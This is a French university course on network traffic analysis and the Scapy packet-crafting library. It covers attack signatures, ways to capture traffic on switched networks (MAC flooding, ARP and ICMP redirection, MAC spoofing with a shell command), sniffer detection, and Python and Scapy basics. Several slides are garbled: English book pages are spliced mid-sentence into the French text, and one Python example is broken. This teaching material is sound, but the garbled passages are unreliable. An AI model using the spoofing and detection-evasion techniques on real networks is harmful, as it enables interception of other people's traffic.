0% ont trouvé ce document utile (0 vote)
3 vues113 pages

Cours Scapy

Le document traite de l'analyse de trafic réseau, en mettant l'accent sur la distinction entre stimuli et réponses dans les échanges de paquets. Il aborde également l'importance des signatures d'échange pour détecter des attaques et les méthodes de capture de trafic, comme le port mirroring et le spoofing. Enfin, il souligne les défis liés à la détection des sniffeurs et les différentes techniques pour surveiller le réseau.

Transféré par

marleycatillon
Copyright
© All Rights Reserved
Nous prenons très au sérieux les droits relatifs au contenu. Si vous pensez qu’il s’agit de votre contenu, signalez une atteinte au droit d’auteur ici.
Formats disponibles
Téléchargez aux formats PDF, TXT ou lisez en ligne sur Scribd
0% ont trouvé ce document utile (0 vote)
3 vues113 pages

Cours Scapy

Le document traite de l'analyse de trafic réseau, en mettant l'accent sur la distinction entre stimuli et réponses dans les échanges de paquets. Il aborde également l'importance des signatures d'échange pour détecter des attaques et les méthodes de capture de trafic, comme le port mirroring et le spoofing. Enfin, il souligne les défis liés à la détection des sniffeurs et les différentes techniques pour surveiller le réseau.

Transféré par

marleycatillon
Copyright
© All Rights Reserved
Nous prenons très au sérieux les droits relatifs au contenu. Si vous pensez qu’il s’agit de votre contenu, signalez une atteinte au droit d’auteur ici.
Formats disponibles
Téléchargez aux formats PDF, TXT ou lisez en ligne sur Scribd

Master 1ère année

Les Fourberies de Scapy — P-F. Bonnefoi


Version du 16 janvier 2025
1 Introduction à l’analyse de trafic réseau 2

Lorsque l’on analyse la trace de paquets échangés dans un réseau, il est important de savoir distinguer
entre :
∘ un «stimulus», c-à-d un événement, qui lorsqu’il arrive sur le récepteur, déclenche une réponse ;
∘ une «réponse», c-à-d un événement lié à la réception d’un stimulus (modèle comportemental).
Attention
⋆ le récepteur est actif et attentif, et identifier le stimulus ne suffit pas toujours à prédire la
réponse ;
⋆ les stimulus/réponses sont inter corrélés, mais peuvent dépendre d’autres éléments indépen-
dants : état du récepteur, seuil ou filtrage des stimulus ou des réponses, nécessité de plusieurs
stimulus différents reçus dans un certain ordre, etc.

L’analyse peut être faite :


⊳ en connaissant l’état exacte du récepteur (en étant sur le récepteur par exemple) ;
⊳ sans connaitre l’état du récepteur.
Les fourberies de Scapy - P-FB

Dans certains cas, on essaye de construire un modèle empirique de cet état.


Les éléments de l’analyse 3

Les éléments sur lesquels on travaille sont :

⊳ les paquets qui circulent dans le réseau, c-à-d dans le cas de TCP/IP, l’ensemble des champs
d’entête du datagramme IP (drapeaux, adresses de destination, de source, fragmentation, etc.) et
des protocoles supérieurs (TCP, UDP, DNS, etc.) ;

⊳ pour chacun de ces paquets, les champs qui les constituent :


⋄ leur valeur, le sens attaché à ces valeurs, donne des informations sur l’émetteur et sur son inten-
tion lors de l’envoi de ce paquet ;
⋄ ils donnent également des informations sur le contexte de l’échange, c-à-d pas seulement sur
l’expéditeur et le destinataire, mais également sur le travail des intermédiaires ou sur les condi-
tions réseaux (par exemple la fragmentation d’un datagramme IP donne des informations sur la
MTU, la décrémentation d’un TTL sur l’existence d’un intermédiaire, la taille des fenêtres TCP
sur la congestion, etc.) ;
Les fourberies de Scapy - P-FB

⊳ des schémas, ou pattern, d’échange réseau. Ces schémas fournissent, lorsqu’ils sont reconnus,
une information de plus haut niveau (par exemple, un échange de 3 paquets peuvent décrire un
handshake TCP et signifier un établissement de connexion).
De l’importance des schémas ou «pattern» 4

Ces schémas d’échange peuvent également être appelés des «signatures».

Un attaquant :
∘ écrit un logiciel pour réaliser une attaque, par exemple, par «déni de service», ou un «exploit» ;
∘ utilise ce logiciel sur un réseau ou une machine cible ;
∘ laisse une signature (une trace d’échanges de paquets), qui est le résultat de la construction, «craf-
ting», de paquets pour réaliser cette attaque ou cet exploit.

Trouver cette signature, c’est :


a. détecter qu’une attaque a eu lieu (détection post-mortem, ou «forensic»), ou se déroule actuellement
(«Intrusion Detection System», avec éventuellement la possibilité d’empêcher qu’elle réussise : «In-
trusion Prevention System») ;
b. découvrir l’identité de l’attaquant (par exemple, pouvoir bloquer l’attaque pour éviter qu’elle se pour-
suive comme dans le cas d’un déni de service).
Les fourberies de Scapy - P-FB

On peut faire un parallèle avec la balle de révolver, qui permet une fois analysée, d’identifier le fût du
révolver qui l’a tiré.
La notion de signatures 5

La détection de ces signatures, «pattern matching», reposent sur :

⋆ leur connaissance : connaître le schéma d’échange qui réalise l’attaque ;

⋆ leur détection : pouvoir trouver parmi le trafic réseau que l’on surveille, les paquets relatifs à ce sché-
ma (chacun de ces paquets peut subir des variations dépendant du contexte : adresses différentes,
ou bien dépendant de la vulnérabilité exploitée : un contenu utilisé uniquement pour sa taille) ;

⋆ leur enchaînement :
⋄ un schéma peut être réalisé suivant des temps plus ou moins long et peut, ainsi, s’entrelacer
avec un trafic normal ;
⋄ un schéma peut être suffisamment «ouvert» pour rendre difficile la corrélation des paquets qui le
forme (des paquets provenant de source très différentes par exemple).

⋆ la capture du trafic : pouvoir capturer les paquets qui forment le schéma. Il faut mettre en place
Les fourberies de Scapy - P-FB

des capteurs ou «sondes» au bon endroit dans le réseau (sur un routeur avant le NAT par exemple),
pour pouvoir capturer convenablement ces paquets.
Utilisation des signatures 6

Ces signatures peuvent être déterminées sur l’ensemble des protocoles :

∘ sur la technologie réseau : par exemple qui concerne la couche n°2 comme Ethernet avec les
trames ARP, les VLANS, etc. ;

∘ sur la pile TCP/IP : ce sont des signatures qui concernent les couches 3&4, c-à-d IP et transport
avec ICMP, TCP, UDP, etc. ;

∘ sur les protocoles applicatifs : en exploitant des protocoles comme HTTP (attaques ciblant le CGI
par exemple), NetBios, etc.

Pour être efficace, la détection de certaines signatures passe par la connaissance et la création d’un
état du récepteur.
On parle alors de mode «stateful» : l’attaquant va amener, par exemple, la pile de protocole de la victime
dans un certain état avant de continuer son attaque (la progression de l’attaque n’est possible que
suivant l’état courant de la victime).
Les fourberies de Scapy - P-FB

Des outils comme «Snort», utilise ce système de signature.


Les résultats 7

Le résultat de l’analyse peut conduire à :

⋆ la journalisation, «log», de l’attaque, avec ou non sauvegarde des paquets suspicieux ;

⋆ l’envoi d’une alerte à l’administrateur : attention à la notion de «faux positifs», c-à-d l’identification
erronée d’une attaque qui peut conduire à saturer l’administrateur, qui ensuite ne fait plus attention
à ces alertes même si elles deviennent de vraies alertes ;

⋆ la mise en place de contre-mesure : filtrage du trafic incriminé par reconfiguration du firewall, envoi
de paquets pour mettre fin à une connexion TCP, etc. ;

⋆ etc.
Les fourberies de Scapy - P-FB
Retour sur les types de connexion 8
Utilisation de Switch
Le switch permet de faire de la «commutation» :
377_Eth_2e_ch01.qxd 11/14/06 9:27 AM Page 26

⋆ il est différent du hub : 377_Eth_2e_ch01.qxd 11/14/06 9:27 AM Page 27


26 Chapter 1 • Introducing Network Analysis
⋄ in ilthemet en relation un port directement avec un autre pour une trame à destination unicast ;
packet header and accept the [Link] area that the hub forwards all informa-

⋄ oneilcollision
diffusedomainsur tous
for all traffic lesFigure
to share. ports pour
1.4 shows une
a network trame à destination multicast ;
tion to is known as a collision domain (also known as broadcast domain). A hub has only
architecture Introducing Network Analysis • Chapter 1 27

il limite
performance les «domaines de collision»,
traffic on the c-à-d là où il resistant
y a compétition pour accéder au support de
with collision domains related to hubs. Large collisions make sniffing easier and
⋄ create issues such as bandwidth hogging or excessive hub.
of the more costly switches include better technology that makes them more
to sniffing attacks.

transmission, pour le même «domaine de diffusion»


Figure 1.4 Hub Collision Domains
:
Figure 1.5 Switch Collision Domains

External External
Network Network

Router

Router Switch
Hub Hub
Les fourberies de Scapy - P-FB

Collision Domain Collision Domain


Collision Domains

A switch is also used to connect computers together on a shared medium; As you can see from the diagrams, hubs make sniffing easier and switches make
Attention
however, when a switch receives information, it doesn’t blindly send it to all other
computers; it looks at the packet header to locate the destination MAC address,
sniffing more difficult. However, switches can be tricked, as discussed in the
“Defeating Switches” section.
and maintains a list of all MAC addresses and corresponding ports on the switch
Pour diviser le domaine de diffusion : il faut des switch avec VLAN.
Port Mirroring
that the computers are connected to. It then forwards the packets to the specified
port. This narrows the collision domain to a single port (see Figure 1.5). This type
of collision domain also provides a definite amount of bandwidth for each con- If you are working on a network that uses switches and you want to perform net-
nection rather than a shared amount on a hub. Because the price of switches has work analysis legitimately, you are in luck; most switches and routers come with port
fallen dramatically in the last few years, there is no reason not to replace hubs mirroring (also known as port spanning).To mirror ports, you have to configure the
with switches, or to choose switches when purchasing new equipment. Also, some switch to duplicate the traffic from the port you want to monitor to the port you
are connected to.
[Link] Using port spanning does not interfere with the normal operation of switches,
but you should always check the documentation of the exact switch you are config-
uring and periodically check the device’s [Link] won’t affect the switch, but you
377_Eth_2e_ch01.qxd 11/14/06 9:27 AM Page 28

28 Chapter 1 • Introducing Network Analysis

«Mettre sur écoute» le réseau ?


will increase the amount of traffic on a specific destination port, therefore, make sure
your properly configured network analyzer is the destination port. Also, consult the
documentation for your specific switch to learn the exact command to enable port
9
mirroring (see Figure 1.6).The switch is configured to mirror all port 1 traffic to
Les différentes solutions port 5, and the network analyzer sees all traffic to and from Computer A. Sometimes
administrators mirror the uplink port on a switch, so that they can see all of the
traffic to and from the switch and all of its ports.
⊳ «port mirroring» : Figure 1.6 Port Mirroring

On configure explicitement le switch pour dupliquer le trafic d’un port sur un External
Network
autre.
Ici, le trafic du port 1 est relayer sur le port 5. Router

Il faut être administrateur du switch. Port 1 Port 5

Avec CISCO, on parle de SPAN : «Switch Port Analyzer» : spanning a port = Switch

mirroring a port.

Computer A Network
Analyzer

⊳ «Switch Flooding» : N OTE


⋄ un switch contient une table d’allocation (port,@MAC) ; Span stands for Switched Port Analyzer. Cisco uses the word span to
describe the concept of port mirroring. In Cisco terms, spanning a port is
⋄ si cette table devient pleine, le switch se comporte comme un hub et relais les trames vers tous les ports ;
the same as mirroring a port.

Il faut envoyer un grand nombre de trames avec des @MAC différentes pour remplir la table pour la «flooder».

⊳ «Redirection ICMP» : ICMP permet d’indiquer le routeur que doit utiliser une machine spécifique pour aller sur le réseau.
[Link]

⊳ «ICMP Router Advertisements» : ICMP permet d’indiquer à toutes les machines connectées au réseau la présence d’un
Les fourberies de Scapy - P-FB

routeur ;

⊳ «Cable Taps» : se connecter physiquement au réseau : le plus intéressant étant d’intercepter le trafic sur le «uplink» du
switch (c-à-d le trafic en remontée ou sortant).
«Mettre sur écoute» le réseau ? 10

⊳ «Redirection ARPs» :
⋄ les requêtes ARPs de correspondance @IP → @MAC sont diffusées en broadcast, vers tous les ports ;
⋄ seul le matériel concerné répond (il existe aussi des «gratuitous ARP» qui sont envoyées spontanément pour informer).
xterm
>>> p
<Ether dst=ff:ff:ff:ff:ff:ff src=02:02:02:02:02:02 type=0x806
|<ARP hwtype=0x1 ptype=0x800 hwlen=6 plen=4 op=who-has
hwsrc=02:02:02:02:02:02 psrc=[Link] hwdst=ff:ff:ff:ff:ff:ff pdst=[Link]
|<Padding load='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' |>>>
>>> [Link]()
'Ether / ARP who has [Link] says [Link] / Padding'

Il est possible de forcer le switch a renvoyer le trafic où il ne devrait pas :


∘ prendre la place d’une machine : Spoofing ;
∘ prendre la place du routeur pour une machine particulière : MITM, «Man in the Middle».

⊳ «MAC Address Spoofing» : changer l’@MAC de son interface réseau et prendre celle de la victime pour reconfigurer le
switch (on peut empêcher la victime de reconfigurer le switch avec un DoS, «Deny Of Service»).
xterm
$ sudo ip link set dev eth0 address 02:00:4c:4f:4f:50
Certains switch protégent l’association entre une @MAC et un port à la première adresse reçue.
Les fourberies de Scapy - P-FB

⊳ «Port Spanning Reconfiguration on Switch» : configurer le «port mirroring».


Cela peut être fait en se connectant à la console d’administration du switch ou en utilisant SNMP, «Simple Network Mana-
gement Protocol» s’il n’a pas été protégé.
Comment détecter les «sniffer» ? 11
Un sniffer est une machine interceptant le trafic qui ne lui est pas destiné
⋆ Surveiller les «DNS Reverse Lookups», c-à-d les requêtes DNS de résolution inverse @IP → FQDN, «Full Qualified Domain
Name» ou @symbolique.
Les outils de sniffing font ce type de requêtes pour afficher des rapports plus détaillé. Il est possible de le déclencher en
effectuant soi-même un scan du réseau.

⋆ Envoyer des paquets TCP/IP avec des fausses @MAC destination vers l’ensemble des machines.
Une machine en mode «promiscuous» réalisant du sniffing peut traiter un paquet qui ne lui est pas destiné et renvoyer un
RST. ⇒ Ne pas oublier d’interdire tout paquet en sortie d’une interface de sniffing !

⋆ Surveiller les ports des hubs : savoir si un port non utilisé devient utilisé. Il est possible d’utiliser SNMP pour surveiller cette
activité.

⋆ Utiliser le fonctionnement d’ARP : envoyer une requête ARP, non pas en broadcast, mais vers une adresse unique bidon,
puis envoyer un ping en broadcast : il se peut que la machine ayant un «sniffer» réponde car elle a intercepté la requête
initiale (elle intercepte tout, y compris ce qui ne la concerne pas).

⋆ une variante de la précédente est d’utiliser une requête ARP vers l’adresse spéciale ff:ff:00:00:00:00.
Les fourberies de Scapy - P-FB

⋆ Utiliser un «honeypot», c-à-d une machine leurre contenant de fausses données et de faux services pour attirer un attaquant
et le forcer à se révéler.

⋆ Surveiller les ressources d’une machine susceptible d’abriter un sniffer : temps CPU et occupation disque (des paquets à
conserver et à analyser).
Layer 1: The Physical Layer • Chapter 2 65

Comment éviter
Figure 2.16 One-Way d’être découvert
Data Cable 12

⋆ Construire un câble uniquement en «écoute», le «One-way cable» :


⋄ la prise qui se connecte au switch sera
modifiée :
⋆ le fil 1 est connecté au fil 3 ;
⋆ le fil 2 est connecté au fil 6 ;
⋄ émission et réception sont mis en boucle.

⋆ bloquer le protocole ARP sur son interface de «sniffing» :


Summary
$ sudo ip link set dev eth1 arp off
Physical layer security is the cornerstone of all security controls. While security controls at
L’interface
other layers n’enverra
may fail without pas
catastrophic dethe
results, requête ARP,
loss of physical ni ne
security répondra
usually results avec des réponses ARP.
in totalIlexposure.
faudra utiliser des tables d’associations (ARP,@IP) statiques.
Security controls cost money and many times their value is under-rated. A
large portion of security controls limit the access of insiders with the side effect being that it
limits many companies’ motivation to implement strong controls. We like to think that these
⋆ filtrer
trusted employeeslesaremessages
on our team, butARP numbersà show
destination de attacks
that many more l’adresse
ff:ff:00:00:00:00.
originate
from inside of an organization than from the outside. Physical controls are not always expen-
Les fourberies de Scapy - P-FB

sive. Items like locks are relatively cheap yet deter and delay attackers. Session controls, pass-
word protected screen savers, and auto logoffs are also cheap to deploy. Good physical
security also requires the control of paper documents. Shredders are an easy way to prevent
dumpster diving.
Attacks on physical security are nothing [Link] existed long before computer net-
works or modern organizations were [Link] are many tools at an attacker’s dis-
posal. Lock pick sets, wiretapping equipment, and scanners are easy for an attacker to
acquire. Attackers with basic computer skills can use wireless hacking tools or acquire secu-
rity equipment for disassembly and analysis. In the end, security professionals must realize
that they are not fighting a single battle, but are part of an ongoing war that will continue
for the unforeseeable future.
2 Qu’est-ce que Scapy ? 13

∘ une bibliothèque Python : cela permet de profiter de tout l’environnement offert par Python ;
∘ un outil interactif à la manière de l’interprète Python ;
∘ un «wrapper» autour de la bibliothèque de capture/analyse de paquet de niveau utilisateur«libp-
cap» ;

∘ des fonctions qui permettent de lire et d’écrire des fichiers «pcap» générés par WireShark qui
contiennent des captures de trafic réseau :cela permet de programmer un traitement à réaliser sur
un ensemble de paquets ;

∘ des fonctions d’analyse et de construction, des paquets réseaux à partir de la couche 2 (capacité
de «forger» un paquet) : cela permet de manipuler de manière simple des paquets de structures
complexes associés aux protocoles les plus courants ;

∘ des fonctions d’envoi de ces paquets et de réception des paquets réponses associés : cela auto-
rise la conception simplifiée d’outils efficaces pour la conception/simulation de protocole ;
Les fourberies de Scapy - P-FB

∘ des fonctions d’écoute, «sniffing», du trafic réseau ;


∘ des fonctions de création de représentation ou de «reporting» sous forme :
⋄ de courbes d’un ensemble de valeurs calculées ;
⋄ de graphe d’échanges entre matériels ;
⋄ de graphes de la topologie d’un réseau.
3 Python & Scapy : création de module ou de programme 14

La notion de «module» en Python est similaire à celle de «bibliothèque» dans les autres langages de
programmation ; la différence est que les instructions se trouvant dans un module Python sont exécutées
lors de son importation.
Ce qui est normal car certaines de ces instructions servent à définir les fonctions et constantes du
module.
Certaines instructions ne devraient être exécutées, ou n’ont de sens, que si le module est exécuté
directement en tant que programme depuis le shell.

Dans l’écriture du code la bibliothèque, pour pouvoir faire la différence entre une exécution en tant que
module ou en tant que programme principale, il faut tester la variable __name__ :

1 if __name__ == "__main__":
2 print "Execution en tant que programme"
À savoir
La possibilité d’exécuter un module en tant que programme permet, par exemple, de faire des
«tests du bon fonctionnement» du module pour éviter des régressions (modifications entrainant
Les fourberies de Scapy - P-FB

des erreurs) et constituent la base des «tests unitaires», mauvaise traduction acceptée de test de
modules, unit testing.
Ces tests permettent de juger de la bonne adéquation du module par rapport aux attentes, et sont
utilisés dans l’Extreme programming, XP, ou la programmation agile.
Python & Scapy : utilisation du mode interactif 15

Python est un langage interprété qui met à la disposition de l’utilisateur un mode interactif, appelé
également «interprète de commande», où l’utilisateur peut entrer directement ses instructions afin que
Python les exécutent.
Dans ce mode il est possible de définir des variables, ainsi que des fonctions et tout élément de Python.

L’intérêt réside dans la possibilité de pouvoir tester/exécuter rapidement des instructions sans avoir à
écrire de programme au préalable.

Ce mode est utilisé dans Scapy, en utilisant la commande shell scapy, qui permet de lancer un inter-
prète de commande tout en bénéficiant de tous les éléments disponibles dans Scapy.
Il est possible de définir soi-même, dans un programme, un basculement en mode interactif :
1 if __name__ == "__main__":
2 interact(mydict=globals(), mybanner="Mon mode interactif a moi")
Ici, l’utilisation du mode interactif dans un source est combiné avec la détection d’une utilisation en tant
que module ou en tant que programme.

On passe en argument mydict=globals() pour bénéficier de tout ce que l’on a défini dans le
Les fourberies de Scapy - P-FB

module sans avoir à l’importer lui-même.


Python & Scapy : suivre l’exécution d’un programme 16

On peut lancer le programme dont on veut suivre l’exécution «pas à pas» :


pef@darkstar
python -m trace -t mon_programme.py

On peut également obtenir la liste des liens d’appels des fonctions les unes avec les autres :
pef@darkstar
python -m trace -T mon_programme.py

Si votre programme utilise le mode interactif, les informations ne seront disponibles que lors de l’arrêt
du programme.

Le paramètre «-m» indique à Python d’exploiter le module indiqué ensuite, ici, «trace».

Pour avoir plus d’options, vous pouvez consulter la documentation du module «trace» de Python.
Les fourberies de Scapy - P-FB
Python & Scapy : intégration de Scapy dans Python 17

Pour installer Scapy et disposer des dernières révisions avec git :


$ git clone [Link]
$ cd scapy
Pour mettre à jour, il suffira de faire la procédure suivante :
$ git pull
$ sudo python [Link] install

Pour pouvoir utiliser les fonctions Scapy dans un programme Python il faut importer la bibliothèque
Scapy :

1 #!/usr/bin/python3
2
3 from [Link] import *
4 # le source utilisateur
À l’aide de cette syntaxe spéciale, les commandes de Scapy seront utilisables directement dans votre
programme, sans avoir à les préfixer avec le nom du module.
Les fourberies de Scapy - P-FB

Attention aux conflits de noms avec vos propres fonctions et variables.


4 Python : programmation objet & classe 18
Définition d’une classe Personne
Chaque personne est définie par son nom, son âge et son numéro de «sécurité sociale» :

1 class Personne(object): # classe dont on hérite


2 """Classe definissant une personne""" # Description de la classe
3 nombre_de_personnes = 0 # variable de classe
4 # self fait référence à l'instance
5 def __init__(self, name, age): # initialisation de l'instance
6 [Link] = name # rendre la variable unique à chaque instance
7 [Link] = age
8 self.__numeroSecu = 0 # variable privee
9 Personne.nombre_de_personnes += 1
10 def intro(self): # Il faut donner en parametre l'instance
11 """Retourne une salutation."""
12 return "Bonjour, mon nom est %s et j'ai %s ans." % ([Link], [Link])
13
14 # Exemple d'utilisation de la classe
15 p1 = Personne("toto", 10) # on ne met pas le self en argument
Remarques :
⊳ les variables d’instances précédées d’un préfixe «__» sont privées et ne peuvent être accessible
Les fourberies de Scapy - P-FB

depuis l’extérieur de l’objet ;

⊳ Mais, la notation p1._Personne__numeroSecu permet d’obtenir la valeur de l’attribut…


⊳ Donc, on peut utiliser un seul «_» et faire confiance aux programmeurs !
Python : programmation objet & méthodes 19

Il est aussi possible de faciliter l’accès à des variables d’instance, tout en gardant une capacité de
contrôle sur ces modifications avec le property :
1 class Personne2(object):
2 def __init__(self):
3 self._nom = 'indefini'
4 def _getNom(self):
5 return self._nom
6 def _setNom(self, val):
7 self._nom = val
8 nom = property(fget = _getNom, fset = _setNom, doc = 'Nom')
9
10 # Utilisation de la classe
11 p1 = Personne2()
12 print [Link] # affiche indefini
13 [Link] = "Toto" # defini le nom de p1
14 print [Link] # affiche Toto

Compléments :
⊳ Python intègre un «garbage collector» ou ramasse miettes, il n’est donc pas nécessaire de désallouer
les objets qui seront plus référencés ;
Les fourberies de Scapy - P-FB

⊳ il est possible de faire de l’héritage multiple.


Pour accéder à une méthode d’ancêtre : ancetre.__init__().
5 Python : aide sur les éléments 20

Les objets de Python sont capable d’introspection, c-à-d d’avoir la capacité de s’examiner eux-même.
On peut obtenir de l’aide sur un objet ou un module :
pef@darkstar
pef@darkstar:~/Bureau/project$ python3
Python 3.9.0 (default, Dec 6 2020, 18:02:34)
[Clang 12.0.0 (clang-1200.0.32.27)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> help
Type help() for interactive help, or help(object) for help about object.
>>>

On peut attacher de la documentation au code Python lors de son écriture :

1 def ma_fonction():
2 """Cette fonction est vide !"""
3 pass
>>> help(ma_fonction)
Help on function ma_fonction in module __main__:
ma_fonction()
Les fourberies de Scapy - P-FB

Cette fonction est vide !

Sur un objet, la fonction help, affiche l’intégralité de l’aide disponible sur ses attributs (méthodes ou
variables).
Python : aide & Introspection 21

Il est possible de connaître :


□ le type d’un objet : type(mon_objet) ;
□ l’identifiant unique d’un objet (équivalent à son adresse mémoire) : id(mon_objet) ;
□ les attributs d’un objet :
⋄ dir(mon_objet) qui donne les éléments de l’objet et de ceux dont il hérite ;
Cela permet de connaître l’ensemble des méthodes supportées par un objet.
⋄ mon_objet.__dict__ qui donne les éléments uniquement de l’objet ;
□ la documentation sur une classe : Personne.__doc__
ou sur une méthode : [Link].__doc__

□ si un objet possède un attribut (variable ou méthode) : hasattr(objet, "nom") qui renvoi


vrai ou faux ;
Avec les fonctions getattr et setattr on peut manipuler ces attributs sous forme de chaîne
de caractère (ce qui est très utile).
Les fourberies de Scapy - P-FB

□ si un élément est exécutable : callable(element) ;


□ si un objet est une instance d’une classe : isinstance(objet, classe ;
□ si une classe hérite d’une autre classe : issubclass(classe, ancetre).
6 Python : utilisation avancée des séquences 22

Lors de la manipulation de paquets réseaux dans Scapy, nous utiliserons les éléments avancés de
Python suivant :
□ les «list comprehension» qui permettent de remplacer l’utilisation d’une boucle for pour :
⋄ la création d’une liste par rapport aux éléments d’une autre, chacun ayant subi un traitement :
1 ma_liste = [ 1, 2, 3, 4, 5]
2 ma_liste_traduite = [ hex(x) for x in ma_liste]
['0x1', '0x2', '0x3', '0x4', '0x5']

⋄ obtenir une nouvelle liste ne contenant que les éléments désirés :


1 ma_liste = [ 10, 1 , 12, 3]
2 ma_liste_filtree = [ x for x in ma_liste if (x > 10) ]
□ les instructions map et filter, remplacées par les «list comprehension» :
1 def transformer (val):
2 return x = x + 3
3 def paire (val):
Les fourberies de Scapy - P-FB

4 return not val%2


5 liste_transformee = map(transformer, ma_liste)
6 print liste_transformee
7 print filter(paire, ma_liste)
[4, 5, 6, 7, 8]
[4, 6]
Python : utilisation avancée des séquences – suite 23

□ récupération du premier élément de chacun des tuples :

1 ma_liste = [ ('a',1), ('b', 2), ('c', 3) ]


2 ma_liste_filtree = [ x for (x,y) in ma_liste ]
>>> ma_liste_filtree
['a', 'b', 'c']
□ récupération du premier élément de chacun des tuples suivant une condition :

1 ma_liste = [ ('a',1), ('b', 2), ('c', 3) ]


2 ma_liste_filtree = [ x for (x,y) in ma_liste if y > 2 ]
>>> ma_liste_filtree
['c']
□ récupération des tuples suivant une condition :

1 ma_liste = [ ('a',1), ('b', 2), ('c', 3) ]


2 ma_liste_filtree = [ (x,y) for (x,y) in ma_liste if y>2 ]
>>> ma_liste_filtree
[('c', 3)]
Les fourberies de Scapy - P-FB

1 ma_liste = [ ('a',1), ('b', 2), ('c', 3) ]


2 ma_liste_filtree = [ (x,y) for (x,y) in ma_liste if y>5 ]
>>> ma_liste_filtree
[]
À noter : si on utilise une «list comprehension», on récupère toujours une liste même si elle ne contient qu’un seul élément
ou pas d’élément du tout.
7 Scapy 24

Scapy est à la fois un interprète de commande basé sur celui de Python et une bibliothèque :
pef@darkstar
pef@darkstar:~/Bureau$ sudo scapy
[sudo] password for pef:
Welcome to Scapy (2.4.4)
>>> IP()
<IP |>
>>> IP().show()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= ip
chksum= None
Les fourberies de Scapy - P-FB

src= [Link]
dst= [Link]
\options\
>>>

Vous pouvez l’utiliser en mode interactif. Vous devez l’exécuter avec des droits administrateur pour être
autorisé à envoyer des paquets de niveau 2 (trame Ethernet par exemple).
Scapy : aide sur les éléments 25

Il est très utile de pouvoir examiner les possibilités offertes par chaque couche protocolaire à l’aide de
la commande ls() :
>>> ls(TCP)
sport : ShortEnumField = (20)
dport : ShortEnumField = (80)
seq : IntField = (0)
ack : IntField = (0)
dataofs : BitField = (None)
reserved : BitField = (0)
flags : FlagsField = (2)
window : ShortField = (8192)
chksum : XShortField = (None)
urgptr : ShortField = (0)
options : TCPOptionsField = ({})

Ici, on peut voir comment est constitué le paquet ou layer TCP, avec chacun de ces champs, leur type
Les fourberies de Scapy - P-FB

et leur valeur par défaut indiquée entre parenthèse.

Les commandes :
⊳ ls() affiche tous les protocoles que sait gérer Scapy ;
⊳ lsc() affiche l’ensemble des commandes disponibles.
Scapy : aide & Introspection 26

Il est facile de créer un paquet dans Scapy, il suffit d’utiliser la classe qui le définit :
>>> b=IP()
>>> b
<IP |>

Ici, l’affichage indique le type mais pas la valeur des champs quand ceux-ci possèdent celle par défaut.
>>> [Link]='[Link]'
>>> b
<IP dst=[Link] |>
>>> ls(b)
version : BitField = 4 (4)
ihl : BitField = None (None)

ttl : ByteField = 64 (64)
proto : ByteEnumField = 0 (0)
chksum : XShortField = None (None)
Les fourberies de Scapy - P-FB

src : Emph = '[Link]' (None)


dst : Emph = '[Link]' ('[Link]')
options : PacketListField = [] ([])

Avec la commande ls(), on peut connaitre le nom de chacun des champs constituant le paquet.
Scapy : affichage de protocole 27

Il est toujours possible d’accéder à la représentation du paquet sous sa forme «réseau», c-à-d une suite
d’octets qui sont transmis dans le câble réseau :

>>> [Link]() >>> hexdump(b)


###[ IP ]### 0000 4500001400010000 400014DEC0A8000E E.......@.......
version= 4 0010 A4510104 .Q..
ihl= None
tos= 0x0 >>> bytes(b)
len= None
id= 1 b'E\x00\x00\x14\x00\x01\x00\x00@\x00\x14\xde\xc0\xa8\x00
flags= \x0e\xa4Q\x01\x04'
frag= 0
ttl= 64 >>> b.show2()
proto= ip ###[ IP ]###
chksum= None version= 4L
src= [Link] ihl= 5L
dst= [Link] tos= 0x0
\options\ len= 20
>>> …
ttl= 64
proto= ip

>>>
Les fourberies de Scapy - P-FB

Ici, la méthode show2() force le calcul de certains champs (checksum par ex.).
8 Scapy : structure des objets 28

Dans Scapy, il existe des objets Python «champs», Field, et des objets Python «paquets», Packet,
qui sont constitués de ces champs.

Lorsque l’on construit un paquet réseau complet, il est nécessaire d’empiler les différentes couches
protocolaires, layers.

En particulier, un paquet (ou layer ou couche ou protocole) est constitué de :


– deux attributs underlayer et payload, pour les liens entre couches inférieures et supérieures ;
– plusieurs liste des champs définissant le protocole (TTL, IHL par exemple pour IP) :
⋄ une liste avec des valeurs par défaut, default_fields ;
⋄ une liste avec les valeurs choisies par l’utilisateur, fields ;
⋄ une liste avec les valeurs imposées lorsque la couche est imbriquée par rapport à d’autres,
overloaded_fields.
L’empilement des couches se fait avec l’opérateur «/» :
>>> p=IP()/UDP()
Les fourberies de Scapy - P-FB

>>> p
<IP frag=0 proto=udp |<UDP |>>

Ici, des champs de la couche IP ont été «surchargées», par celle de la couche supérieure UDP.
Scapy : structure des objets & empilement de couches 29

Dans Scapy, il est possible de choisir les valeurs des différents champs comme on le veut même si cela est contraire
aux protocoles.
Le but étant soit l’étude des conséquences, soit la réalisation de conséquences plus ou moins désastreuses pour le
récepteur…
>>> p=IP()/UDP()
>>> p
<IP frag=0 proto=udp |<UDP |>>
>>> [Link]
<UDP |>
>>> p[UDP].dport = 22
>>> p
<IP frag=0 proto=udp |<UDP dport=ssh |>>
Il est facile d’accéder à une couche en utilisant l’accès par le nom de cette couche : p[UDP] ou bien avec l’opérateur
«in» :
>>> UDP in p
True
>>> [Link](UDP)
Les fourberies de Scapy - P-FB

1
Remarques :
⊳ pour obtenir le calcul automatique ou la valeur par défaut de certains champs qui ont été redéfinis, il faut les effacer :
del([Link]) ou del([Link]) ;
⊳ l’opérateur «/» retourne une copie des paquets utilisés.
Scapy : affichage et comparaison «humaine» des champs 30

Il est possible de demander à un «paquet» de fournir une représentation sous forme de chaîne de
caractères des valeurs de ses champs, à l’aide de la méthode sprintf :
>>> [Link]("%dst%")
'00:58:57:ce:7d:aa'
>>> [Link]("%[Link]%")
'S'
>>> p[IP].flags
2L
>>> [Link]('%[Link]%')
'MF+DF'
>>> 'MF' in [Link]('%flags%')
True

Ici, cela permet d’obtenir un affichage orienté «humain» des valeurs de drapeaux.
Cela permet également de simplifier les tests :
>>> [Link]('%[Link]%')=='S'
Les fourberies de Scapy - P-FB

True

Ici, il n’est pas nécessaire de tester la valeur des drapeaux avec leur représentation hexadécimale.
Récupération du dictionnaire d’un champs 31

Exemple récupérer les valeurs «humaines» du champs type d’ICMP et des valeurs numériques cor-
respondantes :
xterm xterm
>>> [Link].s2i >>> [Link].i2s
{'echo-reply': 0, {0: 'echo-reply',
